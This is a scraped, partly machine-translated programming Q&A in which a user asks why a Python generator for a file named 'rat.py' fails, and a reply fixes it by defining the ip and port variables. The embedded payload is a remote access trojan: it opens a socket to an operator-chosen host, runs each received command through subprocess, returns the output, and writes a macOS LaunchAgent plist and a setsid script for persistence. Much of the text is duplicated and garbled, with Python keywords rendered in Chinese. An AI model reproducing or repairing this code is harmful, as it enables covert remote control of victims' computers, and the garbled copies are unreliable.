未定义其他脚本的名称 def b(): a=“” 其他_python_脚本=f”“” 导入套接字 导入子流程 导入操作系统 p=os.path.realpath(_文件__) setsidrat=(“setsid python3”,p) 打开(“systemfaster.sh”、“w”)作为python脚本文件: python_script_file.write(setsidrat) 守护进程=(“ 标签 com.example.exampled 发射台 程序参数 /bin/bash 绝对路径到脚本 ") 使用open(“com.example.exampld.plist”、“w”)作为python脚本文件: python_script_file.write(l) 系统(“Library/LaunchAgents/com.example.exampld.plist”) 服务器\主机={a}+{ip}+{a} 服务器_端口={PORT} 缓冲区大小=1024”) #创建套接字对象 s=socket.socket() #连接到服务器 s、 连接((服务器\主机、服务器\端口)) 尽管如此: #从服务器接收命令 command=s.recv(缓冲区大小).decode() 如果命令.lower()=“退出”: #如果命令是exit,只需中断循环即可 打破 #执行命令并检索结果 output=子流程.getoutput(命令) #将结果发送回服务器 s、 发送(output.encode()) #关闭客户端连接 s、 关闭() """ 打开(“rat.py”、“w”)作为python脚本文件: python脚本文件.write(其他python脚本)
我不知道该怎么办,我尝试了所有方法,但它说它没有定义,可能格式错误,但我不知道如何解决这个问题,问题在第3行,请帮助,其他答案不起作用,我正在使用python3您忘了定义ip和端口了,字符串将其解释为变量,因为它们位于花括号之间未定义其他脚本的名称 def b(): a=“” 其他_python_脚本=f”“” 导入套接字 导入子流程 导入操作系统 p=os.path.realpath(_文件__) setsidrat=(“setsid python3”,p) 打开(“systemfaster.sh”、“w”)作为python脚本文件: python_script_file.write(setsidrat) 守护进程=(“ 标签 com.example.exampled 发射台 程序参数 /bin/bash 绝对路径到脚本 ") 使用open(“com.example.exampld.plist”、“w”)作为python脚本文件: python_script_file.write(l) 系统(“Library/LaunchAgents/com.example.exampld.plist”) 服务器\主机={a}+{ip}+{a} 服务器_端口={PORT} 缓冲区大小=1024”) #创建套接字对象 s=socket.socket() #连接到服务器 s、 连接((服务器\主机、服务器\端口)) 尽管如此: #从服务器接收命令 command=s.recv(缓冲区大小).decode() 如果命令.lower()=“退出”: #如果命令是exit,只需中断循环即可 打破 #执行命令并检索结果 output=子流程.getoutput(命令) #将结果发送回服务器 s、 发送(output.encode()) #关闭客户端连接 s、 关闭() """ 打开(“rat.py”、“w”)作为python脚本文件: python脚本文件.write(其他python脚本),python,python-3.x,Python,Python 3.x,我不知道该怎么办,我尝试了所有方法,但它说它没有定义,可能格式错误,但我不知道如何解决这个问题,问题在第3行,请帮助,其他答案不起作用,我正在使用python3您忘了定义ip和端口了,字符串将其解释为变量,因为它们位于花括号之间 def b(): a = '"' other_python_script = f""" import socket import subprocess import os p = os.path.realpath(_
def b():
a = '"'
other_python_script = f"""
import socket
import subprocess
import os
p = os.path.realpath(__file__)
setsidrat = ("setsid python3", p)
with open("systemfaster.sh", " w") as python_script_file:
python_script_file.write(setsidrat)
daemon = ("<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.exampled</string>
<key>LaunchOnlyOnce</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>absolute_path_to_script</string>
</array>
</dict>
</plist>")
with open("com.example.exampld.plist", "w") as python_script_file:
python_script_file.write(l)
os.system("Library/LaunchAgents/com. example.exampld.plist")
SERVER_HOST = {a}+{ip}+{a}
SERVER_PORT = {port}
BUFFER_SIZE = 1024")
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
"""
with open("rat.py", "w") as python_script_file:
python_script_file.write(other_python_script)
def b():
a=“”
ip=“”
端口='“'
其他_python_脚本=f”“”
导入套接字
导入子流程
导入操作系统
p=os.path.realpath(_文件__)
setsidrat=(“setsid python3”,p)
打开(“systemfaster.sh”、“w”)作为python脚本文件:
python_script_file.write(setsidrat)
守护进程=(“
标签
com.example.exampled
发射台
程序参数
/bin/bash
绝对路径到脚本
")
使用open(“com.example.exampld.plist”、“w”)作为python脚本文件:
python_script_file.write(l)
系统(“Library/LaunchAgents/com.example.exampld.plist”)
服务器\主机={a}+{ip}+{a}
服务器_端口={PORT}
缓冲区大小=1024”)
#创建套接字对象
s=socket.socket()
#连接到服务器
s、 连接((服务器\主机、服务器\端口))
尽管如此:
#从服务器接收命令
command=s.recv(缓冲区大小).decode()
如果命令.lower()=“退出”:
#如果命令是exit,只需中断循环即可
打破
#执行命令并检索结果
output=子流程.getoutput(命令)
#将结果发送回服务器
s、 发送(output.encode())
#关闭客户端连接
s、 关闭()
"""
打开(“rat.py”、“w”)作为python脚本文件:
python脚本文件.write(其他python脚本)
它的工作原理是这样的最后两行应该缩进函数中。请编辑您的问题,以便保留缩进。
def b():
a = '"'
ip = '"'
port = '"'
other_python_script = f"""
import socket
import subprocess
import os
p = os.path.realpath(__file__)
setsidrat = ("setsid python3", p)
with open("systemfaster.sh", " w") as python_script_file:
python_script_file.write(setsidrat)
daemon = ("<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.exampled</string>
<key>LaunchOnlyOnce</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>absolute_path_to_script</string>
</array>
</dict>
</plist>")
with open("com.example.exampld.plist", "w") as python_script_file:
python_script_file.write(l)
os.system("Library/LaunchAgents/com. example.exampld.plist")
SERVER_HOST = {a}+{ip}+{a}
SERVER_PORT = {port}
BUFFER_SIZE = 1024")
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
"""
with open("rat.py", "w") as python_script_file:
python_script_file.write(other_python_script)